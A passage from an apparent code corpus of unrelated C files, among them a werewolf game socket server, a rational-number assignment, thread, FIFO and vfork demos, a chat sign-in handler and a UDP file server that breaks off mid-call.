archi, elf->ehdr->e_flags); if (get_flags(elf) > 0) printf("\n"); printf("start address 0x%016x\n\n", elf->ehdr->e_entry); }
C
#pragma once enum class Direction { Up = 0b00, Down = 0b01, Right = 0b10, Left = 0b11 }; bool IsOpposite(Direction a, Direction b);
C
/* HCS Week 6 Lecture 1 Example 8 Pointers */ #include <stdio.h> int main(void) { int nA; // Declare an integer int *ptrPoint; // Declare a pointer to an integer nA = 42; // Assign a value to nA ptrPoint = &nA; // Assign the address of nA to the pointer printf("Directly. nA has the value %d\n", nA); // Now print using the pointer - "dereferencing" it using the * symbol printf("Indirectly. nA has the value %d\n", *ptrPoint); // Now change the value directly nA = 124; printf("Directly. nA has the value %d\n", nA); // Now change the value via the pointer *ptrPoint = 256; printf("Directly. nA has the value %d\n", nA); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <aio.h> #include <signal.h> #include <sys/time.h> //#include <pthread.h> //#include <sys/syscall.h> #define BACKLOG 6 #define BUFF_SIZE 1024 #define SELECT_TIMEOUT 10 //select的timeout seconds int id=1; int gg=1; //game over char buffer[BUFF_SIZE]; int ret; struct sigaction sig_act; struct aiocb my_aiocb[BUFF_SIZE]; fd_set readfds; //创建并初始化select需要的参数(这里仅监视read),并把sock添加到fd_set中 fd_set readfds_bak; //backup for readfds(每次select之后会更新readfds) char identify[6][2]={'A','T', //A-平民 B-狼人 C-女巫 D-预言家 'A','T', 'B','T', 'B','T', 'C','T', 'D','T'}; struct user{ int id; int alive; int sock; int antidote; int poison; int a; //the position in the identify char identify; }; struct user player[BACKLOG]; void setSockNonBlock(int sock){ //set sock to non-block int flags; flags = fcntl(sock,F_GETFL,0); if(flags < 0){ perror("fcntl(F_GETFL) failed"); exit(1); } if(fcntl(sock,F_SETFL,flags|O_NONBLOCK) < 0){ perror("fcntl(F_SETFL) failed"); exit(1); } } int updateMaxfd(fd_set fds, int maxfd){ //update maxfd int i; int new_maxfd = 0; for(i = 0; i <= maxfd; i++){ if(FD_ISSET(i, &fds) && i > new_maxfd){ new_maxfd = i; } } return new_maxfd; } void aio_completion_handler(int signo, siginfo_t *info, void *context) //receive message from client { //用来获取读aiocb结构的指针 struct aiocb *req; int ret; printf("线程回调函数 "); if (info->si_signo == SIGIO){ req = (struct aiocb *)info->si_value.sival_ptr; if (aio_error(req) == 0) { ret = aio_return(req); printf("ret=%d\n",ret); if(ret==0){ id--; player[id-1].alive=0; identify[player[id-1].a][1]='T'; printf("client: %d has disconnected!\n",id); //printf("player[id-1].sock:%d\n",player[id-1].sock); close(player[id-1].sock); FD_CLR(player[id-1].sock, &readfds_bak); return; } memset(buffer, 0, sizeof(buffer)); strcpy(buffer,(const char *)req); printf("receive:%s\n",req->aio_buf); } } return; } /*void aio_completion_handler1(int signo, siginfo_t *info, void *context) //send message to client { //用来获取读aiocb结构的指针 struct aiocb *req; int ret; printf("线程回调函数 "); if (info->si_signo == SIGIO){ req = (struct aiocb *)info->si_value.sival_ptr; if (aio_error(req) == 0) { ret = aio_return(req); //printf("ret=%d\n",ret); printf("send successfully:%s\n",req->aio_buf); printf("send successfully\n"); } } return; }*/ void aioread(int fd,int i){ //AIO with inform ret=0; bzero((char *)&my_aiocb[i],sizeof(struct aiocb)); my_aiocb[i].aio_buf = malloc(BUFF_SIZE+1); if(!my_aiocb[i].aio_buf) perror("malloc"); my_aiocb[i].aio_fildes = fd; my_aiocb[i].aio_nbytes = BUFF_SIZE; my_aiocb[i].aio_offset = 0; // Set up the signal handler sigemptyset(&sig_act.sa_mask); sig_act.sa_flags = SA_SIGINFO; sig_act.sa_sigaction = aio_completion_handler; // Link the AIO request with the Signal Handler my_aiocb[i].aio_sigevent.sigev_notify = SIGEV_SIGNAL; my_aiocb[i].aio_sigevent.sigev_signo = SIGIO; my_aiocb[i].aio_sigevent.sigev_value.sival_ptr = &my_aiocb[i]; // Map the Signal to the Signal Handler ret = sigaction(SIGIO,&sig_act,NULL); ret = aio_read(&my_aiocb[i]); if (ret < 0) perror("aio_read"); } void aioread1(int fd){ struct aiocb my_aiocb1; ret=0; bzero((char *)&my_aiocb1,sizeof(struct aiocb)); my_aiocb1.aio_buf = malloc(BUFF_SIZE+1); if(!my_aiocb1.aio_buf) perror("malloc"); my_aiocb1.aio_fildes = fd; my_aiocb1.aio_nbytes = BUFF_SIZE; my_aiocb1.aio_offset = 0; ret = aio_read(&my_aiocb1); if (ret < 0) perror("aio_read"); while (aio_error(&my_aiocb1) == EINPROGRESS); //EINPROGRESS请求尚未完成, ECANCELLED请求被应用程序取消了 if((ret = aio_return(&my_aiocb1))>0){ //只有在 aio_error调用确定请求已经完成(可能成功,也可能发生了错误)之后才会调用这个函数 返回值就等价于同步情况中read或write 系统调用的返回值(所传输的字节数 error -1) memset(buffer, 0, sizeof(buffer)); strcpy(buffer,(const char *)my_aiocb1.aio_buf); printf("ret:%d\n",ret); printf("receive:%s\n",my_aiocb1.aio_buf); }else if(ret==0){ printf("ret:%d\n",ret); int i; for(i=0;i<BACKLOG;i++){ if(player[i].sock==fd){ player[i].alive=0; identify[player[i].a][1]='T'; printf("client: %d has disconnected!\n",i+1); close(player[i].sock); FD_CLR(player[i].sock, &readfds_bak); break; } } id--; return; } } void aiowrite(int fd,char *buf){ struct aiocb my_aiocb; ret=0; bzero((char *)&my_aiocb,sizeof(struct aiocb)); my_aiocb.aio_buf = malloc(BUFF_SIZE+1); if(!my_aiocb.aio_buf) perror("malloc"); my_aiocb.aio_fildes = fd; my_aiocb.aio_nbytes = BUFF_SIZE; //if sizeof(buf) only send sizeof(buf)8! my_aiocb.aio_offset = 0; my_aiocb.aio_buf =buf; ret = aio_write(&my_aiocb); if(ret < 0) perror("aio_write"); while(aio_error(&my_aiocb) == EINPROGRESS); if((ret = aio_return(&my_aiocb))>0){ printf("ret:%d\n",ret); printf("send successfully:%s\n",my_aiocb.aio_buf); }else{ printf("send error!\n"); } } int game_waiting(){ if(id!=(BACKLOG+1)) return 0; else{ int i; memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "OK"); for(i=0;i<BACKLOG;i++){ aiowrite(player[i].sock,buffer); } return 1; } } int game_over1(){ //除了狼人以外的玩家 0--有存活 1--全体阵亡 int i=0,flag=1; for(i=0;i<BACKLOG;i++){ if(player[i].identify!='B'){ if(player[i].alive==0) continue; else return 0; } } return 1; } int game_over2(){ //狼人 0--狼人有存活 1--狼人全体阵亡 int i=0; for(i=0;i<BACKLOG;i++){ if(player[i].identify=='B'){ if(player[i].alive==0) continue; else return 0; } } return 1; } void game(){ sleep(1); gg=1; int flag1=0; int flag2=0; while(gg){ int i; memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "天黑请闭眼"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "狼人请睁眼,请选择要杀的玩家编号(1-6),可以自杀,但所有狼人目标须一致,不一致以第一个为准,不允许输入非法字符,否则视为弃权"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //receive狼人 int target[2]={0,0}; //wolf target int res,timer; //timer control the time of client input int maxfd=0,temp,count,wolf; timer=0;count=0;wolf=0; fd_set readfds1; fd_set readfds_bak1; FD_ZERO(&readfds1); struct timeval timeout; FD_ZERO(&readfds_bak1); for(i=0;i<BACKLOG;i++){ if(player[i].identify=='B' && player[i].alive){ FD_SET(player[i].sock,&readfds_bak1); wolf++; if(player[i].sock>maxfd) maxfd=player[i].sock; } } //printf("wolf=%d\n",wolf); while(timer<=10&&count<2){ readfds1 = readfds_bak1; maxfd = updateMaxfd(readfds1, maxfd); timeout.tv_sec = 5; timeout.tv_usec = 0; res=select(maxfd + 1, &readfds1, NULL, NULL, &timeout); if(res>0){ for(i=0;i<=maxfd;i++){ if(!FD_ISSET(i,&readfds1)){ continue; }else{ aioread1(i); temp=buffer[0]-'0'; if(temp>0&&temp<7&&player[temp-1].alive){ target[count++]=temp; if(wolf==1){ timer=10; printf("wolf=1"); break;} if(count>=2) break; }else{ //error input count++; } } } } timer++; } int target1=0; for(i=0;i<2;i++){ if(target[0]==0||target[1]==0) target1=0; if(target[0]==0||target[1]!=0) target1=target[1]; if(target[0]!=0||target[1]==0) target1=target[0]; if(target[0]!=0||target[1]!=0){ res=rand()%2; target1=target[res]; } } printf("狼人选择的目标为:target=%d\n",target1); if(target1==0) printf("狼人选择目标无效\n"); memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "wolfover"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //女巫 int target2=0; //毒药目标 1-6 correct 0 error int target3=0; //解药 1使用解药 0不使用解药 for(i=0;i<BACKLOG;i++){ if(player[i].identify=='C') break; } if(player[i].alive && (player[i].antidote || player[i].poison)){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"今晚被杀的玩家为 %d 号玩家(1-6,0代表狼人弃权或输入无效,是否使用解药?是否使用毒药?请输入毒药的使用对象玩家编号:(输入格式eg:100,输入非法视为弃权))",target1); aiowrite(player[i].sock,buffer); fd_set readfds; fd_set readfds_bak; FD_ZERO(&readfds); int timer=0,res; char target[4]; struct timeval timeout; FD_ZERO(&readfds_bak); FD_SET(player[i].sock,&readfds_bak); while(timer<=10){ readfds = readfds_bak; timeout.tv_sec = 5; timeout.tv_usec = 0; res=select(player[i].sock + 1, &readfds, NULL, NULL, &timeout); if(res>0&&(FD_ISSET(player[i].sock,&readfds))){ aioread1(player[i].sock); strncpy(target,buffer,3); if(player[i].poison){ //have poison target2=target[2]-'0'; if(((target[1]-'0')==1)&&target2>0&&target2<7) player[i].poison=0; else target2=0; } if(player[i].antidote){ //have antidote target3=target[0]-'0'; if(target3==1){ target3=1; player[i].antidote=0; } else target3=0; } //printf("target:%s\n",target); break; } timer++; } } memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "womenover"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //预言家 int target4; //预言家查看目标 1-6 T 0 error for(i=0;i<BACKLOG;i++){ if(player[i].identify=='D') break; } if(player[i].alive){ memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "请输入您想查看身份的玩家编号(1-6),输入非法视为弃权"); aiowrite(player[i].sock,buffer); fd_set readfds; fd_set readfds_bak; FD_ZERO(&readfds); FD_ZERO(&readfds_bak); int timer=0,res; struct timeval timeout; FD_SET(player[i].sock,&readfds_bak); while(timer<=10){ readfds = readfds_bak; timeout.tv_sec = 5; timeout.tv_usec = 0; res=select(player[i].sock + 1, &readfds, NULL, NULL, &timeout); if(res>0&&(FD_ISSET(player[i].sock,&readfds))){ aioread1(player[i].sock); target4=buffer[0]-'0'; if(target4>0&&target4<7); else target4=0; if(target4!=0){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"您要查看的玩家编号为%d号玩家,该玩家身份为%c,A-平民 B-狼人 C-女巫 D-预言家",target4,player[target4-1].identify); aiowrite(player[i].sock,buffer); }else{ memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "输入非法"); aiowrite(player[i].sock,buffer); } break; } timer++; } } memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "manover"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //处理死亡玩家and发布结果 //printf("target1=%d\n",target1); //printf("target2=%d\n",target2); //printf("target3=%d\n",target3); if((target1!=0&&target3==0) || (target2!=0)){ if((target1!=0&&target3==0) && (target2!=0)){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"%d号玩家阵亡 %d号玩家阵亡",target1,target2); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } player[target1-1].alive=0; close(player[target1-1].sock); player[target2-1].alive=0; close(player[target2-1].sock); }else if(target1!=0&&target3==0){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"%d号玩家阵亡",target1); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } player[target1-1].alive=0; close(player[target1-1].sock); }else if(target2!=0){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"%d号玩家阵亡",target2); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } player[target2-1].alive=0; close(player[target2-1].sock); } }else{ memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "无事发生,没有玩家死亡"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } } flag1=game_over1(); flag2=game_over2(); if(flag1 || flag2){ gg=0; break; } //玩家讨论 memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "请剩余玩家发表意见"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } FD_ZERO(&readfds); FD_ZERO(&readfds_bak); maxfd=0; for(i=0;i<BACKLOG;i++){ if(player[i].alive){ FD_SET(player[i].sock,&readfds_bak); if(player[i].sock>maxfd) maxfd=player[i].sock; } } char temp1[BUFF_SIZE]; count=0; for(i=0;i<BACKLOG;i++){ if(player[i].alive) count++; } memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"%d",count); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } int flag=0; while(flag<count){ readfds = readfds_bak; maxfd = updateMaxfd(readfds, maxfd); timeout.tv_sec = 5; timeout.tv_usec = 0; res=select(maxfd + 1, &readfds, NULL, NULL, &timeout); if(res>0){ for (i = 0;i <= maxfd;i++){ if(FD_ISSET(i,&readfds)){ flag++; aioread1(i); strcpy(temp1,buffer); int j,user; for(j=0;j<BACKLOG;j++) if(player[j].sock==i){ user=player[j].id; break;} for(j=0;j<BACKLOG;j++){ if(player[j].alive && player[j].sock!=i){ memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"from%d号玩家:%s",user,temp1); aiowrite(player[j].sock,buffer); } } FD_CLR(i, &readfds_bak); } } } } memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "discussover"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //投票踢出一名玩家 int ticket[6]={0,0,0,0,0,0}; memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "根据其他玩家的发言,请选择你认为有威胁的玩家(1-6),非法输入将视为弃权,如果两名玩家票数相同,将随机选择"); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } FD_ZERO(&readfds); FD_ZERO(&readfds_bak); maxfd=0; for(i=0;i<BACKLOG;i++){ if(player[i].alive){ FD_SET(player[i].sock,&readfds_bak); if(player[i].sock>maxfd) maxfd=player[i].sock; } } count=0; for(i=0;i<BACKLOG;i++){ if(player[i].alive) count++; } flag=0; while(flag<count){ readfds = readfds_bak; maxfd = updateMaxfd(readfds, maxfd); timeout.tv_sec = 5; timeout.tv_usec = 0; res=select(maxfd + 1, &readfds, NULL, NULL, &timeout); if(res>0){ for (i = 0;i <= maxfd;i++){ if(FD_ISSET(i,&readfds)){ flag++; aioread1(i); int tickettemp=buffer[0]-'0'; if(tickettemp>0&&tickettemp<7&&player[tickettemp-1].alive) ticket[tickettemp-1]++; FD_CLR(i, &readfds_bak); } } } } for(i=0;i<BACKLOG;i++){ printf("%d号玩家=%d\n",i+1,ticket[i]); } int max=0; count=0; int ticket1[BACKLOG]={0,0,0,0,0,0}; for(i=0;i<BACKLOG;i++){ if(max<ticket[i]) max=ticket[i]; } for(i=0;i<BACKLOG;i++){ if(ticket[i]==max){ ticket1[count++]=i+1; //id } } int rand1=rand()%count; printf("rand=%d\n",rand1); int target5=ticket1[rand1]; memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"大多数玩家选择将%d号玩家踢出游戏!",target5); for(i=0;i<BACKLOG;i++){ if(player[i].alive) aiowrite(player[i].sock,buffer); } //处理死亡玩家 if(player[target5-1].alive){ player[target5-1].alive=0; close(player[target5-1].sock); } flag1=game_over1(); flag2=game_over2(); if(flag1 || flag2){ gg=0; break; } } printf("game over!\n"); if(flag2){ //狼人战败 memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "game over!狼人战败,平民胜利!您获得成功!"); int i; for(i=0;i<BACKLOG;i++){ if(player[i].alive){ aiowrite(player[i].sock,buffer); player[i].alive=0; close(player[i].sock); } } return; }else if(flag1){ //狼人获胜 int i; memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "game over!平民战败,狼人获胜,您获得成功!"); for(i=0;i<BACKLOG;i++){ if(player[i].alive){ aiowrite(player[i].sock,buffer); player[i].alive=0; close(player[i].sock); } } return; } } int main(int ac, char *av[]){ int port,sock; if(ac!=2){ fprintf(stderr, "usage: %s [port]\n", av[0]); exit(1); } port = atoi(av[1]); if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){ perror("socket failed, "); exit(1); } int new = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &new, sizeof(int))) { //allow bind the address or port which is already in use. (4)optval:指针 指向存放选项待设置的新值的缓冲区。 perror("setsockopt failed"); exit(1); } setSockNonBlock(sock); struct sockaddr_in bind_addr; memset(&bind_addr,0,sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bind_addr.sin_addr.s_addr = htonl(INADDR_ANY); bind_addr.sin_port = htons(port); if(bind(sock,(struct sockaddr *)&bind_addr,sizeof(bind_addr))==-1){ perror("bind failed, "); exit(1); } if(listen(sock, BACKLOG)==-1){ perror("listen failed."); exit(1); } struct timeval timeout; int maxfd; maxfd = sock; FD_ZERO(&readfds); FD_ZERO(&readfds_bak); FD_SET(sock,&readfds_bak); int new_sock,i,res; struct sockaddr_in client_addr; socklen_t client_addr_len; char client_ip_str[INET_ADDRSTRLEN]; int recv_size,ret; while(1){ //循环接受client请求 readfds = readfds_bak; //reset, select之后readfds和timeout的值都会被修改,没有相应状态的fd被移除 maxfd = updateMaxfd(readfds, maxfd); timeout.tv_sec = SELECT_TIMEOUT; timeout.tv_usec = 0; res = select(maxfd + 1, &readfds, NULL, NULL, &timeout); if(res<0){ if(errno==EINTR) continue; //select failed: Interrupted system call perror("select failed"); exit(1); }else if (res == 0){ //timeout fprintf(stderr, "no socket is ready for read within %d seconds\n", SELECT_TIMEOUT); continue; } for (i = 0;i <= maxfd;i++){ if(!FD_ISSET(i,&readfds)){ continue; } if(i == sock){ //server socket, accept client_addr_len = sizeof(client_addr); new_sock = accept(sock, (struct sockaddr *) &client_addr, &client_addr_len); if(new_sock == -1){ perror("accept failed"); exit(1); } if(id>BACKLOG){ //server is full,return error meaasge to client memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "game is running, the number of server player is full!"); aiowrite(new_sock,buffer); close(new_sock); continue; } int a; do{ a=rand()%6; //[0,5] player[id-1].identify=identify[a][0]; }while(identify[a][1]=='F'); //printf("a=%d\n",a); identify[a][1]='F'; player[id-1].a=a; player[id-1].alive=1; player[id-1].sock=new_sock; player[id-1].antidote=0; player[id-1].poison=0; if(player[id-1].identify=='C'){ player[id-1].antidote=1; player[id-1].poison=1; } player[id-1].id=id++; if(!inet_ntop(AF_INET, &(client_addr.sin_addr), client_ip_str, sizeof(client_ip_str))){ perror("inet_ntop failed"); exit(1); } printf("accept a client from: %s\n", client_ip_str); setSockNonBlock(new_sock); if(new_sock > maxfd){ maxfd = new_sock; } FD_SET(new_sock, &readfds_bak); memset(buffer, 0, sizeof(buffer)); sprintf(buffer,"%d %d %d %c",player[id-2].id,player[id-2].alive,player[id-2].sock,player[id-2].identify); aiowrite(new_sock,buffer); if(game_waiting()){ game(); exit(0); } }else{ //client socket, can be read, send message to server memset(buffer, 0, sizeof(buffer)); aioread(i,0); //aioread1(i); sleep(1); //FD_CLR(i, &readfds_bak); } } } return 0; }
C
/** * This file implements: * simple_path, * This file cannot run with the math.h header file */ // This function creates the simple "bump" trajectory in 2D // cur_pos is our aircraft's position (only longitude and altitude are used) // target_pos is point we want our aircraft to pass through // finalYPos is the altitude of our original trajectory // xpos is an array of our aircraft's and the obstacle's longitude position // IMPORTANT: xpos[0] = our aircraft longitude, xpos[1] = obstacle longitude-position int simple_path(const int cur_pos[], const int target_pos[], const int finalYPos, const int xpos[], const int obstacle_radius){ if ( cur_pos[0] < target_pos[0] ){ if ( cur_pos[1] < target_pos[1] ){ return exp( -target_pos[1] / ( target_pos[1]*BUMP_COEFF ) ); } else { return 0; } } else { if ( cur_pos[1] > target_pos[1] ){ if ( xpos[0] - ( xpos[1] + obstacle_radius ) > DESC_DIST ){ return -exp( -target_pos[1] / ( target_pos[1]*BUMP_COEFF ) ); } } return 0; } return 0; }
C
/*********************************************** * Name: Peigeng Han * Student ID: 20533982 * File: rational.c * CS 136 Fall 2014 - Assignment 3, Problem 3 * Description: Working with rational numbers. ***********************************************/ #include "Cs136-A3Q3-rational.h" // see rational.h struct rational R(int n, int d) { // NOTE: we will see later why this is rarely done in C. // However, for now we will do this to make your code // easier to program and test const struct rational r = {n, d}; return r; } // your implementation below: /* Purpose: finds the greatest common divisor for the integers a and b. * PRE: Int >0 Int >0 * POST: produce value >0 */ static int gcd(int a, int b) { return (b == 0) ? a : gcd(b, (a%b)); } // r_simp(a,b) simplified the rational // PRE: a is valid rationals // POST: returns simplified rational static struct rational r_simp(struct rational a){ const int n= a.num; const int d= a.den; int gcdn= gcd(n,d); if(1 != gcdn){ const struct rational r = {n/gcdn, d/gcdn} ; return r; } else return a; } struct rational r_add(struct rational a, struct rational b){ const struct rational r =r_simp (R (a.num*b.den+b.num*a.den, a.den*b.den)); return r; } struct rational r_sub(struct rational a, struct rational b){ const struct rational r =r_simp (R (a.num*b.den-b.num*a.den, a.den*b.den)); return r; } struct rational r_mult(struct rational a, struct rational b){ const struct rational r =r_simp (R (a.num*b.num, a.den*b.den)); return r; } struct rational r_div(struct rational a, struct rational b){ const struct rational r =r_simp (R (a.num*b.den, a.den*b.num)); return r; }
C
#include "control.h" #include <unistd.h> //para hacer el sleep #define NUM_AVIONES 200 //estructura para identificar el avión, con su numero //y con un puntero al monitor control typedef struct { //identificador del avión int num_avion; //puntero a las pistas pistas_t *pistas; }aviones_t; //código de proceso para los aviones que despegan void *cod_avion_despega(void *arg){ aviones_t avion = *(aviones_t*) arg; //otorga una pista de despegue de forma aleatoria int pistaDada = darPistaDespegue(); //protocolos de despegue despega(avion.pistas, avion.num_avion, pistaDada); //fin de despegue terminaDeDespegar(avion.pistas, avion.num_avion, pistaDada); pthread_exit(NULL); return NULL; } //código de proceso para los aviones que aterrizan void *cod_avion_aterriza(void *arg){ aviones_t avion = *(aviones_t*) arg; //protocolos de aterrizaje para el avión aterriza(avion.pistas, avion.num_avion); pthread_exit(NULL); return NULL; } int main(){ //generamos la semilla con la hora actual, //se usara para dar pistas aleatorias en el despegue srand(time(0)); //creamos nuestros aviones aviones_t aviones[NUM_AVIONES]; pistas_t pistas = pistas_factory(); pthread_t avionesthread[NUM_AVIONES]; int i, error, AoD; //creacion de los hilos, se elige que aviones aterrizan o despegan de forma aleatoria for (i = 0; i < NUM_AVIONES; i++ ){ aviones[i].num_avion = i; aviones[i].pistas = &pistas; //Aterriza o Despega, 0->Aterriza, 1->Despega AoD = rand() % 2; if (AoD == 0){ error = pthread_create(&avionesthread[i],NULL,cod_avion_aterriza, (void*)&aviones[i]); gestionarError(error); } else{ error = pthread_create(&avionesthread[i],NULL,cod_avion_despega, (void*)&aviones[i]); gestionarError(error); } } //espera a que los hilos terminen //join de los hilos for (i = 0; i < NUM_AVIONES; i++){ error = pthread_join(avionesthread[i], NULL); gestionarError(error); } return 1; }
C
#include "server.h" static void user_struct_filling_with_null(t_user *User) { User->id = NULL; User->nickname = NULL; User->password = NULL; User->email = NULL; User->age = NULL; User->fullname = NULL; User->ph_number = NULL; User->user_photo = NULL; User->option = NULL; User->number_of_chats = 0; User->chats = NULL; } static void json_sign_in_parse(t_user *User, json_t *user_in) { json_t *nickname, *email, *password; nickname = json_object_get(user_in, "nickname"); email = json_object_get(user_in, "email"); password = json_object_get(user_in, "password"); if (strcmp(json_string_value(nickname), "") != 0) { User->nickname = strdup(json_string_value(nickname)); } else { User->email = strdup(json_string_value(email)); } User->password = strdup(json_string_value(password)); json_decref(nickname); json_decref(email); json_decref(password); } /** * @author Yevheniia Ksonzenko * @brief Function to get all data about user incl chats from database and send to client while authentication * @param income_json string with user`s info to check availability in database (nickname/email, password) * @param User structure to fill with NULL or user data to send to database * @param Chat structure that contains name(s) of chat(s) */ t_user *user_sign_in(json_t *income_json, struct ns_connection *socket) { t_user *User; json_t *user_in; int check_status; puts(json_dumps(income_json, 0)); User = (t_user *)malloc(sizeof(t_user)); user_in = json_object_get(income_json, "user"); if (!json_is_object(user_in)) { send_status(NULL, NULL, socket, unknown_error, "sign_in"); return 0; } else { // move user`s input data to structure user_struct_filling_with_null(User); // extract input data from user json_sign_in_parse(User, user_in); // check whether user is already registered check_status = user_in_db(User); if (check_status == 104) { get_chats_where_user(User); } send_status(User, User->chats, socket, check_status, "sign_in"); } //------------------------------------------------- printf("%d\n", user_in_db(User)); // print db function result //------------------------------------------------- return User; }
C
//zad3b #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #define FIFO1 "/tmp/fifozad2" main() { char buff[512]; int fifo,i=0; if ((fifo = open(FIFO1, O_RDONLY, O_NDELAY )) < 0) perror("nie moze otworzyc fifo1 do pisania"); int bytes = read(fifo,buff,sizeof(buff)); while (i < bytes){ printf("%c",buff[i]); i++; }; printf("\n"); unlink(FIFO1); exit(0); }
C
#include<stdio.h> #include<unistd.h> #include<sys/types.h> int main(){ int n = 10; int id = vfork(); if(id == 0){ printf("child process started \n"); printf("value of n = %d\n",n); }else{ printf("Now I am coming back is parent process \n"); printf("value of n = %d\n",n); } return 0; } // #include<stdio.h> // #include<unistd.h> // int main(){ // int n = 0; // pid_t pid = vfork(); // if(pid == 0){ // printf("Child process started\n"); // }else{ // printf("Now i am coming back to present process\n"); // } // printf("value of n: %d\n",n); // return 0; // }
C
typedef struct { char **words; int nr_words; } MagicDictionary; /** Initialize your data structure here. */ MagicDictionary* magicDictionaryCreate() { return (MagicDictionary *)malloc(sizeof(MagicDictionary)); } /** Build a dictionary through a list of words */ void magicDictionaryBuildDict(MagicDictionary* obj, char ** dict, int dictSize) { obj->nr_words = dictSize; obj->words = dict; } bool is_it(char *a, char *b) { int nr_diff; for(nr_diff = 0; *a && *b && nr_diff <= 1; a++, b++) { if (*a != *b) nr_diff++; } if (*a || *b || nr_diff != 1) return false; return true; } /** Returns if there is any word in the trie that equals to the given word after modifying exactly one character */ bool magicDictionarySearch(MagicDictionary* obj, char * word) { int i; for (i = 0; i < obj->nr_words; i++) { if (is_it(obj->words[i], word)) return true; } return false; } void magicDictionaryFree(MagicDictionary* obj) { free(obj); } /** * Your MagicDictionary struct will be instantiated and called as such: * MagicDictionary* obj = magicDictionaryCreate(); * magicDictionaryBuildDict(obj, dict, dictSize); * bool param_2 = magicDictionarySearch(obj, word); * magicDictionaryFree(obj); */
C
#include "garbage.h" void gfree(t_garbage *gc) { size_t i; i = 0; while (i < gc->head) { free(gc->ptr_tab[i]); i++; } free(gc->ptr_tab); gc->head = 0; gc->ptr_tab = NULL; }
C
/* * @Description: 奇偶分离 * @Author: cheny * @Date: 2020-01-04 12:55:03 * @LastEditor: cheny * @LastEditTime : 2020-01-04 13:01:11 * @FilePath: \C_code\TestCode\C.CPP\Practicing\11_oddAndEvenNumSeparate.c */ #include <stdio.h> void oddEvenSeparate(int n){ for(int i = 1; i <= n; ++i){ if(i % 2 == 0){ printf("%d ", i); } } printf("\n"); for(int j = 1; j <= n; ++j){ if(j % 2 == 1){ printf("%d ", j); } } } int main(){ int n = 10; oddEvenSeparate(n); return 0; }
C
#include<arpa/inet.h> #include<netinet/in.h> #include<stdio.h> #include<sys/types.h> #include<unistd.h> #include<ctype.h> #include<stdlib.h> #include<string.h> #include<netdb.h> int main(int argc,char* argv[]){ struct sockaddr_in serverAddr; int socketfd; if(argc<2){ return 0; } int portno=atoi(argv[1]); socketfd=socket(AF_INET,SOCK_DGRAM,0); if(!socketfd){ perror("Error in opening a socket"); exit(1); } serverAddr.sin_family=AF_INET; serverAddr.sin_addr.s_addr=htonl(INADDR_ANY); serverAddr.sin_port=htons(portno); if(bind(socketfd,(struct sockaddr *)&serverAddr,sizeof(serverAddr))<0){ perror("failed to bind"); return 0; } int optval=1; setsockopt(socketfd,SOL_SOCKET,SO_REUSEADDR,(const void *)&optval,sizeof(int)); struct sockaddr_in clientAddr; char recvBuf[2048]; size_t buflen=sizeof(recvBuf); int recvlen=0; int clilen=sizeof(clientAddr); recvlen=recvfrom(socketfd,recvBuf,buflen,0,(struct sockaddr*)&clientAddr,&clilen); if(recvlen< 0){ perror("Error in recieving"); exit(1); } recvBuf[recvlen]='\0'; printf("\nClient: %s\n",recvBuf); FILE* fptr=fopen("file.txt","r"); if(fptr==NULL){ printf("\nServer: File not found\n"); char notfound[30] = "NOTFOUND "; strcat(notfound, recvBuf); sendto(socketfd,notfound,strlen(notfound),0,(struct sockaddr*)&clientAddr,sizeof(clientAddr)); exit(5); } char* temp; size_t l = 0; getline(&temp, &l, fptr); // print the word on server display printf("\nSERVER: %s\n", temp); //send this word to client sendto(socketfd,temp,strlen(temp),0,(struct sockaddr*)&clientAddr,sizeof(clientAddr)); // now check if this word is END, if yes stop else scan next word and send that while(strcmp(temp, "END")) { printf("\nSERVER: Sent the message to the client, waiting for reply..\n"); char clientMessage[500]; int n = recvfrom(socketfd, (char *)clientMessage, sizeof(clientMessage), 0, (struct sockaddr *) 